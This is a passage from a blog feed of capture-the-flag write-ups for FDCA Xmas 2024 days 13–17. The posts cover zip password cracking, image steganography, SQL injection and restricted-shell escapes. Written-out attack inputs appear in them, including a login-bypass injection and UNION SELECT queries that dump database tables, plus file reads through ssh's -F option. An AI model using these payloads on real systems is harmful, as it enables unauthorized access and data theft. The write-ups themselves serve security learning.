</span></span><span style="display:flex;"><span>()
</span></span><span style="display:flex;"><span>pdu length =         18 bytes
</span></span><span style="display:flex;"><span>pdu vector contents = 
</span></span><span style="display:flex;"><span>0000: 5a 58 57 55 7b 6d 67 34 35 62 5f 61 31 34 68 6e 
</span></span><span style="display:flex;"><span>0010: 35 7d 
</span></span><span style="display:flex;"><span>************************************
</span></span></code></pre></div><p>Decoding it from hex and rotating the letters by 6 we get the flag: <code>FDCA{sm45h_g14nt5}</code></p>
]]></content></item><item><title>FDCA Xmas 2024 Day 17 - Cats and codes</title><link>https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-17-cats-and-codes/</link><pubDate>Tue, 24 Dec 2024 15:59:17 +0100</pubDate><guid>https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-17-cats-and-codes/</guid><description>Challenge Description Danish (original) ÅH NEJ!! Jætterne har ændret Odins katte billeder, Odin er dybt bedrøvet over dette og forlanger at dette udbedres. Derfor har han bedt os undersøge, hvad jætterne har gjort ved hans katte.
English (from chatgpt) Oh no!! The giants have altered Odin&amp;rsquo;s cat pictures, and Odin is deeply saddened by this and demands that it be fixed. Therefore, he has asked us to investigate what the giants have done to his cats.</description><content type="html"><![CDATA[<h2 id="challenge-description">Challenge Description</h2>
<h3 id="danish-original">Danish (original)</h3>
<p>ÅH NEJ!! Jætterne har ændret Odins katte billeder, Odin er dybt bedrøvet over dette og forlanger at dette udbedres. Derfor har han bedt os undersøge, hvad jætterne har gjort ved hans katte.</p>
<h3 id="english-from-chatgpt">English (from chatgpt)</h3>
<p>Oh no!! The giants have altered Odin&rsquo;s cat pictures, and Odin is deeply saddened by this and demands that it be fixed. Therefore, he has asked us to investigate what the giants have done to his cats.</p>
<h2 id="file">File</h2>
<p>We are also given the following file:</p>
<ul>
<li><a href="https://filehost.osiriz.xyz/homepage/files/fdcachristmas2024/cat.zip">cat.zip</a></li>
</ul>
<h2 id="solution">Solution</h2>
<p>The zip file is password protected, so we need to bruteforce it with john the ripper:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ unzip cat.zip
</span></span><span style="display:flex;"><span>Archive:  cat.zip
</span></span><span style="display:flex;"><span>[cat.zip] cat1.jpg password:
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>$ zip2john cat.zip &gt; hash
</span></span><span style="display:flex;"><span>[expunged for readability]
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>$ john --wordlist<span style="color:#f92672">=</span>rockyou.txt hash
</span></span><span style="display:flex;"><span>[puter:16837] shmem: mmap: an error occurred while determining whether or not /tmp/ompi.puter.1000/jf.0/846856192/shared_mem_cuda_pool.hibari could be created.
</span></span><span style="display:flex;"><span>[puter:16837] create_and_attach: unable to create shared memory BTL coordinating structure :: size 134217728
</span></span><span style="display:flex;"><span>Using default input encoding: UTF-8
</span></span><span style="display:flex;"><span>Loaded 1 password hash (PKZIP [32/64])
</span></span><span style="display:flex;"><span>Will run 8 OpenMP threads
</span></span><span style="display:flex;"><span>Press &#39;q&#39; or Ctrl-C to abort, almost any other key for status
</span></span><span style="display:flex;"><span>thor123          (cat.zip)
</span></span><span style="display:flex;"><span>1g 0:00:00:00 DONE (2024-12-17 20:03) 25.00g/s 3276Kp/s 3276Kc/s 3276KC/s 022179..korn13
</span></span><span style="display:flex;"><span>Use the &#34;--show&#34; option to display all of the cracked passwords reliably
</span></span><span style="display:flex;"><span>Session completed
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>$ unzip cat.zip
</span></span><span style="display:flex;"><span>Archive:  cat.zip
</span></span><span style="display:flex;"><span>[cat.zip] cat1.jpg password:
</span></span><span style="display:flex;"><span>  inflating: cat1.jpg
</span></span><span style="display:flex;"><span>  inflating: cat2.jpg
</span></span><span style="display:flex;"><span>  inflating: cat3.jpg
</span></span><span style="display:flex;"><span>  inflating: cat4.jpg
</span></span><span style="display:flex;"><span>  inflating: cat5.jpg
</span></span></code></pre></div><p>Looking at the images we can figure out that <code>cat4.jpg</code> has a base64 encoded password in its exif data, and that <code>cat5.jpg</code> is actually also a zip file, which combined gives us <code>cat6.jpg</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ exiftool cat4.jpg
</span></span><span style="display:flex;"><span>[expunged for readability]
</span></span><span style="display:flex;"><span>Thumbnail Offset                : 2636
</span></span><span style="display:flex;"><span>Thumbnail Length                : 5632
</span></span><span style="display:flex;"><span>Comment                         : IUhlbW1lbGlndF9Lb2Rlb3JkMTMyNA==
</span></span><span style="display:flex;"><span>Image Width                     : 2580
</span></span><span style="display:flex;"><span>Image Height                    : 1720
</span></span><span style="display:flex;"><span>[expunged for readability]
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>$ echo <span style="color:#e6db74">&#34;IUhlbW1lbGlndF9Lb2Rlb3JkMTMyNA==&#34;</span> | base64 -d
</span></span><span style="display:flex;"><span>!Hemmeligt_Kodeord1324
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>$ file --keep-going cat5.jpg
</span></span><span style="display:flex;"><span>cat5.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 1440x1137, components 3\012-  Zip archive, with extra data prepended\012- data
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>$ unzip cat5.jpg
</span></span><span style="display:flex;"><span>Archive:  cat5.jpg
</span></span><span style="display:flex;"><span>warning [cat5.jpg]:  273423 extra bytes at beginning or within zipfile
</span></span><span style="display:flex;"><span>  (attempting to process anyway)
</span></span><span style="display:flex;"><span>[cat5.jpg] cat6.jpg password:
</span></span><span style="display:flex;"><span>  inflating: cat6.jpg
</span></span></code></pre></div><p>Running <code>stegseek --seed</code> on <code>cat6.jpg</code> we can see that there is hidden data in it:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ stegseek --seed cat6.jpg
</span></span><span style="display:flex;"><span>StegSeek 0.6 - https://github.com/RickdeJager/StegSeek
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>[i] Found (possible) seed: &#34;30d194e1&#34;
</span></span><span style="display:flex;"><span>        Plain size: 55.7 KB (compressed)
</span></span><span style="display:flex;"><span>        Encryption Algorithm: rijndael-128
</span></span><span style="display:flex;"><span>        Encryption Mode:      cbc
</span></span></code></pre></div><p>The passphrase can be found on the cats chest: <code>cat_7_is_my_favorite</code>

    <img src="https://filehost.osiriz.xyz/homepage/img/fdcachristmas2024/cat6_cropped.jpg"  class="center"  />

</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ steghide extract -sf cat6.jpg
</span></span><span style="display:flex;"><span>Enter passphrase:
</span></span><span style="display:flex;"><span>wrote extracted data to &#34;cat7.png&#34;.
</span></span></code></pre></div><p>And I got the flag from <code>cat7.png</code> by using <a href="https://stylesuxx.github.io/steganography/">Steganography Online</a>: <code>FDCA{den_danser_tango}</code></p>
]]></content></item><item><title>FDCA Xmas 2024 Day 16 - Jætte Tracker 9000</title><link>https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-16-j%C3%A6tte-tracker-9000/</link><pubDate>Tue, 24 Dec 2024 15:59:16 +0100</pubDate><guid>https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-16-j%C3%A6tte-tracker-9000/</guid><description>Challenge Description Danish (original) Jætterne er blevet avanceret, så vi skal have en mere systematisk tilgang til at finde dem.
Odin har fået nogen til at lave et jætte tracking system. Det er noget magi som får det til at virke, men er magi altid sikkert?
English (from chatgpt) The giants have become more advanced, so we need a more systematic approach to finding them.
Odin has had someone create a giant tracking system.</description><content type="html"><![CDATA[<h2 id="challenge-description">Challenge Description</h2>
<h3 id="danish-original">Danish (original)</h3>
<p>Jætterne er blevet avanceret, så vi skal have en mere systematisk tilgang til at finde dem.</p>
<p>Odin har fået nogen til at lave et jætte tracking system. Det er noget magi som får det til at virke, men er magi altid sikkert?</p>
<h3 id="english-from-chatgpt">English (from chatgpt)</h3>
<p>The giants have become more advanced, so we need a more systematic approach to finding them.</p>
<p>Odin has had someone create a giant tracking system. It&rsquo;s some magic that makes it work, but is magic always safe?</p>
<h2 id="solution">Solution</h2>
<p>Going to the provided website (<a href="http://j%C3%A6ttetracker.jul.fdca.dk:8080/">http://jættetracker.jul.fdca.dk:8080/</a>), we are met by a login page:

    <img src="https://filehost.osiriz.xyz/homepage/img/fdcachristmas2024/jaettetracker/login_page.png"  class="center"  />

</p>
<p>I was able to login as Odin by using the following sql injection: <code>odin' AND 1=1;--</code></p>
<p>I was then redirected to a page where I could search for giants:

    <img src="https://filehost.osiriz.xyz/homepage/img/fdcachristmas2024/jaettetracker/search_page.png"  class="center"  />

</p>
<p>I used the injections from <a href="https://book.hacktricks.xyz/pentesting-web/sql-injection#extract-database-names-table-names-and-column-names">HackTricks</a> to get the database, table names, and column names:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>1&#39; UNION SELECT 1,2,group_concat(0x7c,schema_name,0x7c) FROM information_schema.schemata;--
</span></span></code></pre></div><p>Databases are: <code>|information_schema|,|asgaard|</code></p>
<p>Lets look in <code>asgaard</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>1&#39; UNION SELECT 1,2,group_concat(0x7c,table_name,0x7c) FROM information_schema.tables WHERE table_schema=&#34;asgaard&#34;;--
</span></span></code></pre></div><p>Tables are: <code>|jaetter|,|guddommelige_noter|</code></p>
<p>So lets get columns from <code>guddommelige_noter</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>1&#39; UNION SELECT 1,2,group_concat(0x7c,column_name,0x7c) FROM information_schema.columns WHERE table_name=&#34;guddommelige_noter&#34;;--
</span></span></code></pre></div><p>And the column are: <code>|id|,|titel|,|tekst|</code></p>
<p>So lets leak the table data:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>1&#39; UNION SELECT id,titel,tekst FROM asgaard.guddommelige_noter;--
</span></span></code></pre></div><p>And we get flag: <code>FDCA{N0rd1sk3_gud3r_sk4l_0gsaa_par4m4t3r1ze}</code></p>
]]></content></item><item><title>FDCA Xmas 2024 Day 15 - No Command Here - Part 2</title><link>https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-15-no-command-here-part-2/</link><pubDate>Tue, 24 Dec 2024 15:59:15 +0100</pubDate><guid>https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-15-no-command-here-part-2/</guid><description>This is a continuation of No command Here - Part 1, we will be using the same private key and domain from that challenge.
Challenge Description Danish (original) Din indsats med at aflure Loke’s tankeboks har været værdsat. Der er dog tegn på at denne tankeboks indeholder mere end bare Loke’s tanker. Han og Fenris har historisk været meget tætte, så vi er overbeviste om at Loke havde bare lidt adgang til Fenris egen tankeboks.</description><content type="html"><![CDATA[<p>This is a continuation of <a href="https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-14-no-command-here-part-1/">No command Here - Part 1</a>, we will be using the same private key and domain from that challenge.</p>
<h2 id="challenge-description">Challenge Description</h2>
<h3 id="danish-original">Danish (original)</h3>
<p>Din indsats med at aflure Loke’s tankeboks har været værdsat. Der er dog tegn på at denne tankeboks indeholder mere end bare Loke’s tanker. Han og Fenris har historisk været meget tætte, så vi er overbeviste om at Loke havde bare lidt adgang til Fenris egen tankeboks.</p>
<p>Vi regner med dig.</p>
<h3 id="english-from-chatgpt">English (from chatgpt)</h3>
<p>Your effort in deciphering Loki&rsquo;s thought box has been appreciated. However, there are signs that this thought box contains more than just Loki&rsquo;s thoughts. He and Fenrir have historically been very close, so we are convinced that Loki had at least some access to Fenrir&rsquo;s own thought box.</p>
<p>We are counting on you.</p>
<h2 id="solution">Solution</h2>
<p>Using the <code>ls</code> and <code>cat</code> utils from <a href="https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-14-no-command-here-part-1/">Part 1</a> we find and export five private keys:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>bash$ ls .ssh
</span></span><span style="display:flex;"><span>-bash: .ssh/authorized_keys: Permission denied
</span></span><span style="display:flex;"><span>-bash: .ssh/fenrir.echo.priv: Permission denied
</span></span><span style="display:flex;"><span>-bash: .ssh/fenrir.id.priv: Permission denied
</span></span><span style="display:flex;"><span>-bash: .ssh/fenrir.ls.priv: Permission denied
</span></span><span style="display:flex;"><span>-bash: .ssh/fenrir.pwd.priv: Permission denied
</span></span><span style="display:flex;"><span>-bash: .ssh/fenrir.ssh.priv: Permission denied
</span></span></code></pre></div><ul>
<li><a href="https://filehost.osiriz.xyz/homepage/files/fdcachristmas2024/fenrir.echo.priv">fenrir.echo.priv</a></li>
<li><a href="https://filehost.osiriz.xyz/homepage/files/fdcachristmas2024/fenrir.id.priv">fenrir.id.priv</a></li>
<li><a href="https://filehost.osiriz.xyz/homepage/files/fdcachristmas2024/fenrir.ls.priv">fenrir.ls.priv</a></li>
<li><a href="https://filehost.osiriz.xyz/homepage/files/fdcachristmas2024/fenrir.pwd.priv">fenrir.pwd.priv</a></li>
<li><a href="https://filehost.osiriz.xyz/homepage/files/fdcachristmas2024/fenrir.ssh.priv">fenrir.ssh.priv</a></li>
</ul>
<p>Using <code>fenrir.ls.priv</code> we can list fenrir&rsquo;s files:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ ssh -p <span style="color:#ae81ff">2222</span> -i fenrir.ls.priv fenrir@jættenettet.dk
</span></span><span style="display:flex;"><span>Contemplations.txt
</span></span><span style="display:flex;"><span>Connection to jættenettet.dk closed.
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>$ ssh -p <span style="color:#ae81ff">2222</span> -i fenrir.ls.priv fenrir@jættenettet.dk .ssh
</span></span><span style="display:flex;"><span>authorized_keys
</span></span><span style="display:flex;"><span>vaultkey.encrypted
</span></span><span style="display:flex;"><span>Connection to jættenettet.dk closed.
</span></span></code></pre></div><p>While trying to find a way to read <code>vaultkey.encrypted</code> I fell over this error:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ ssh -p <span style="color:#ae81ff">2222</span> -i fenrir.ssh.priv fenrir@jættenettet.dk
</span></span><span style="display:flex;"><span>Can&#39;t open user config file : No such file or directory
</span></span><span style="display:flex;"><span>Connection to jættenettet.dk closed.
</span></span></code></pre></div><p>Looking at the <code>ssh</code> manpage and searching for user config, I found the <code>-F</code> flag, and looking at <a href="https://gtfobins.github.io/gtfobins/ssh/#file-read">GTFOBins</a>, we may be able to read files with it:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ ssh -p <span style="color:#ae81ff">2222</span> -i fenrir.ssh.priv fenrir@jættenettet.dk .ssh/vaultkey.encrypted localhost
</span></span><span style="display:flex;"><span>.ssh/vaultkey.encrypted line 1: no argument after keyword &#34;fuws2ljnijcuoskoebhvarkoknjuqicqkjevmqkuiuqewrkzfuws2ljnbjrdgqtmmjxe46tbimyx&#34;
</span></span><span style="display:flex;"><span>[expunged for readability]
</span></span><span style="display:flex;"><span>.ssh/vaultkey.encrypted: line 55: Bad configuration option: hu6quljnfuws2rkoiqqe6ucfjzjvgsbakbjesvsbkrcsas2flews2ljnfufa
</span></span><span style="display:flex;"><span>.ssh/vaultkey.encrypted: terminating, 55 bad configuration options
</span></span><span style="display:flex;"><span>Connection to jættenettet.dk closed.
</span></span></code></pre></div><ul>
<li><a href="https://filehost.osiriz.xyz/homepage/files/fdcachristmas2024/vaultkey.encrypted">vaultkey.encrypted</a></li>
</ul>
<p>Since <code>vaultkey.encrypted</code> only contains lowercase letters (a-z) and the numbers 2 to 7, it is properly not base64 encoded, but instead base32 (26 letters and 6 numbers).
So decoding <code>vaultkey.encrypted</code> from base32 we get another private ssh key:</p>
<ul>
<li><a href="https://filehost.osiriz.xyz/homepage/files/fdcachristmas2024/vaultkey.priv">vaultkey.priv</a></li>
</ul>
<p>Using this key we get the flag:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ ssh -p <span style="color:#ae81ff">2222</span> -i vaultkey.priv vault@jættenettet.dk
</span></span><span style="display:flex;"><span>FDCA{S5H_B3_M4de_Quit3_Str1ct}
</span></span><span style="display:flex;"><span>Connection to jættenettet.dk closed.
</span></span></code></pre></div>]]></content></item><item><title>FDCA Xmas 2024 Day 14 - No Command Here - Part 1</title><link>https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-14-no-command-here-part-1/</link><pubDate>Tue, 24 Dec 2024 15:59:14 +0100</pubDate><guid>https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-14-no-command-here-part-1/</guid><description>Challenge Description Danish (original) FDCA Special Ops har, siden vores første kontakt med Asgård, haft gang i en operation med at kortlægge Jættenettet. I går lykkedes det dem at identificere noget, der ligner en tankeboks fra Loke.
De har fået opsnappet en fil som ser ud til at give adgang. Men da de allerede er fuldt optaget af deres nuværende operationer, håber vi at du kan finde noget interessant i tankeboksen.</description><content type="html"><![CDATA[<h2 id="challenge-description">Challenge Description</h2>
<h3 id="danish-original">Danish (original)</h3>
<p>FDCA Special Ops har, siden vores første kontakt med Asgård, haft gang i en operation med at kortlægge Jættenettet. I går lykkedes det dem at identificere noget, der ligner en tankeboks fra Loke.</p>
<p>De har fået opsnappet en fil som ser ud til at give adgang.
Men da de allerede er fuldt optaget af deres nuværende operationer, håber vi at du kan finde noget interessant i tankeboksen.</p>
<h3 id="english-from-chatgpt">English (from chatgpt)</h3>
<p>FDCA Special Ops has, since our first contact with Asgård, been conducting an operation to map the Giant Network. Yesterday, they succeeded in identifying something that looks like a thought box from Loki.</p>
<p>They managed to intercept a file that seems to grant access. But since they are already fully occupied with their current operations, we hope you can find something interesting in the thought box.</p>
<h2 id="file">File</h2>
<p>We are also given the following file:</p>
<ul>
<li><a href="https://filehost.osiriz.xyz/homepage/files/fdcachristmas2024/loki.priv">loki.priv</a></li>
</ul>
<h2 id="domain-and-port">Domain and port</h2>
<p>In addition we are given a domain and port: <code>jættenettet.dk:2222</code></p>
<h2 id="solution">Solution</h2>
<p>The file is an openssh private key:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ file loki.priv
</span></span><span style="display:flex;"><span>loki.priv: OpenSSH private key
</span></span></code></pre></div><p>Using it to login over ssh we get a bash shell, but no commands work:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ ssh -p <span style="color:#ae81ff">2222</span> -i loki.priv loki@jættenettet.dk
</span></span><span style="display:flex;"><span>Oh no! Where&#39;s my commands?
</span></span><span style="display:flex;"><span>bash$ ls
</span></span><span style="display:flex;"><span>-bash: ls: No such file or directory
</span></span><span style="display:flex;"><span>bash$ cat
</span></span><span style="display:flex;"><span>-bash: cat: No such file or directory
</span></span></code></pre></div><p>So we need to find files and read them using builtin constructs, in my case I used <code>for</code> loops, globbing and having the error messages be the output:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>bash$ function ls() {
</span></span><span style="display:flex;"><span>&gt;   <span style="color:#66d9ef">for</span> file in $1/*; <span style="color:#66d9ef">do</span>
</span></span><span style="display:flex;"><span>&gt;     $file
</span></span><span style="display:flex;"><span>&gt;   <span style="color:#66d9ef">done</span>
</span></span><span style="display:flex;"><span>&gt; <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>bash$ function cat() {
</span></span><span style="display:flex;"><span>&gt;   <span style="color:#66d9ef">for</span> value in <span style="color:#66d9ef">$(</span>&lt; $1<span style="color:#66d9ef">)</span>; <span style="color:#66d9ef">do</span>
</span></span><span style="display:flex;"><span>&gt;     $value
</span></span><span style="display:flex;"><span>&gt;   <span style="color:#66d9ef">done</span>
</span></span><span style="display:flex;"><span>&gt; <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>bash$ ls
</span></span><span style="display:flex;"><span>-bash: /archive: Is a directory
</span></span><span style="display:flex;"><span>-bash: /bin: Is a directory
</span></span><span style="display:flex;"><span>-bash: /considerations.md: Permission denied
</span></span><span style="display:flex;"><span>-bash: /credit.md: Permission denied
</span></span><span style="display:flex;"><span>-bash: /etc: Is a directory
</span></span><span style="display:flex;"><span>-bash: /lib: Is a directory
</span></span><span style="display:flex;"><span>-bash: /lib64: Is a directory
</span></span><span style="display:flex;"><span>-bash: /vault: Is a directory
</span></span><span style="display:flex;"><span>bash$ ls vault
</span></span><span style="display:flex;"><span>-bash: vault/flag.txt: Permission denied
</span></span><span style="display:flex;"><span>bash$ cat vault/flag.txt
</span></span><span style="display:flex;"><span>-bash: .: Is a directory
</span></span><span style="display:flex;"><span>-bash: .: Is a directory
</span></span><span style="display:flex;"><span>-bash: .: Is a directory
</span></span><span style="display:flex;"><span>-bash: .: Is a directory
</span></span><span style="display:flex;"><span>-bash: .: Is a directory
</span></span><span style="display:flex;"><span>-bash: FDCA{Ba5h_Liter4te_y0u_ar3}: No such file or directory
</span></span><span style="display:flex;"><span>-bash: .: Is a directory
</span></span><span style="display:flex;"><span>-bash: .: Is a directory
</span></span><span style="display:flex;"><span>-bash: .: Is a directory
</span></span><span style="display:flex;"><span>-bash: .: Is a directory
</span></span><span style="display:flex;"><span>-bash: .: Is a directory
</span></span></code></pre></div>]]></content></item><item><title>FDCA Xmas 2024 Day 13 - Hel's Key Hell</title><link>https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-13-hels-key-hell/</link><pubDate>Tue, 24 Dec 2024 15:59:13 +0100</pubDate><guid>https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-13-hels-key-hell/</guid><description>Challenge Description Danish (original) Vi har opsnappet et meget kryptisk signal mellem Hel og Loke. Det har dog vist sig besværligt at bryde deres Ase Existens Skjuler kryptering, selvom nøglen allerede stod deri, og ECB burde være easy at knække. Det er som om vi bare bliver ved med at få samme resultat, når vi prøver at dekryptere den.
Måske du har bedre held med at knække signalet?
English (from chatgpt) We have intercepted a very cryptic signal between Hel and Loki.</description><content type="html"><![CDATA[<h2 id="challenge-description">Challenge Description</h2>
<h3 id="danish-original">Danish (original)</h3>
<p>Vi har opsnappet et meget kryptisk signal mellem Hel og Loke. Det har dog vist sig besværligt at bryde deres Ase Existens Skjuler kryptering, selvom nøglen allerede stod deri, og ECB burde være easy at knække. Det er som om vi bare bliver ved med at få samme resultat, når vi prøver at dekryptere den.</p>
<p>Måske du har bedre held med at knække signalet?</p>
<h3 id="english-from-chatgpt">English (from chatgpt)</h3>
<p>We have intercepted a very cryptic signal between Hel and Loki. However, it has proven difficult to break their Aesir Existence Hider encryption, even though the key was already in it, and the ECB should be easy to crack. It&rsquo;s as if we keep getting the same result when we try to decrypt it.</p>
<p>Maybe you&rsquo;ll have better luck cracking the signal?</p>
<h2 id="file">File</h2>
<p>We are also given the following file:</p>
<ul>
<li><a href="https://filehost.osiriz.xyz/homepage/files/fdcachristmas2024/signal.7z">signal.7z</a></li>
</ul>
<h2 id="solution">Solution</h2>
<p>Unzipping the file we get a binary file with a key at the top then encrypted data:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ 7z x signal.7z
</span></span><span style="display:flex;"><span>[expunged for readability]
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>$ ls
</span></span><span style="display:flex;"><span>signal.7z  suspicious_signal.bin
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>$ xxd -l <span style="color:#ae81ff">128</span> suspicious_signal.bin
</span></span><span style="display:flex;"><span>00000000: 6b65 793d 4533 3041 3338 3136 3638 4646  key=E30A381668FF
</span></span><span style="display:flex;"><span>00000010: 4436 4631 4345 3633 3443 3742 3538 4431  D6F1CE634C7B58D1
</span></span><span style="display:flex;"><span>00000020: 3634 3332 3839 3930 3236 3741 3146 3132  64328990267A1F12
</span></span><span style="display:flex;"><span>00000030: 3441 3338 3338 4639 4137 4541 3841 4430  4A3838F9A7EA8AD0
</span></span><span style="display:flex;"><span>00000040: 4534 3634 0a93 41fc 0170 34df d97f aeea  E464..A..p4.....
</span></span><span style="display:flex;"><span>00000050: 4d26 c74c 6080 a71c d4c7 7cbb f65f 435c  M&amp;.L`.....|.._C\
</span></span><span style="display:flex;"><span>00000060: 58d8 568f b1ff 88f5 48db 5218 e16f 5411  X.V.....H.R..oT.
</span></span><span style="display:flex;"><span>00000070: e095 7f70 c93f 5583 306b 0988 df70 6671  ...p.?U.0k...pfq
</span></span></code></pre></div><p>From the challenge description it should encrypted using AES ECB mode:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">from</span> Crypto.Cipher <span style="color:#f92672">import</span> AES
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">with</span> open(<span style="color:#e6db74">&#39;suspicious_signal.bin&#39;</span>, <span style="color:#e6db74">&#39;rb&#39;</span>) <span style="color:#66d9ef">as</span> fp:
</span></span><span style="display:flex;"><span>  data <span style="color:#f92672">=</span> fp<span style="color:#f92672">.</span>read()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>key, ciphertext <span style="color:#f92672">=</span> data<span style="color:#f92672">.</span>split(<span style="color:#e6db74">b</span><span style="color:#e6db74">&#39;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#39;</span>, maxsplit<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>)
</span></span><span style="display:flex;"><span>key <span style="color:#f92672">=</span> bytes<span style="color:#f92672">.</span>fromhex(key<span style="color:#f92672">.</span>decode()<span style="color:#f92672">.</span>removeprefix(<span style="color:#e6db74">&#39;key=&#39;</span>))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>cipher <span style="color:#f92672">=</span> AES<span style="color:#f92672">.</span>new(key, AES<span style="color:#f92672">.</span>MODE_ECB)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>plaintext <span style="color:#f92672">=</span> cipher<span style="color:#f92672">.</span>decrypt(ciphertext)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>print(plaintext[:<span style="color:#ae81ff">100</span>])
</span></span></code></pre></div><p>Running the above code, we see that there is yet another layer of encryption:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ python decrypt_once.py
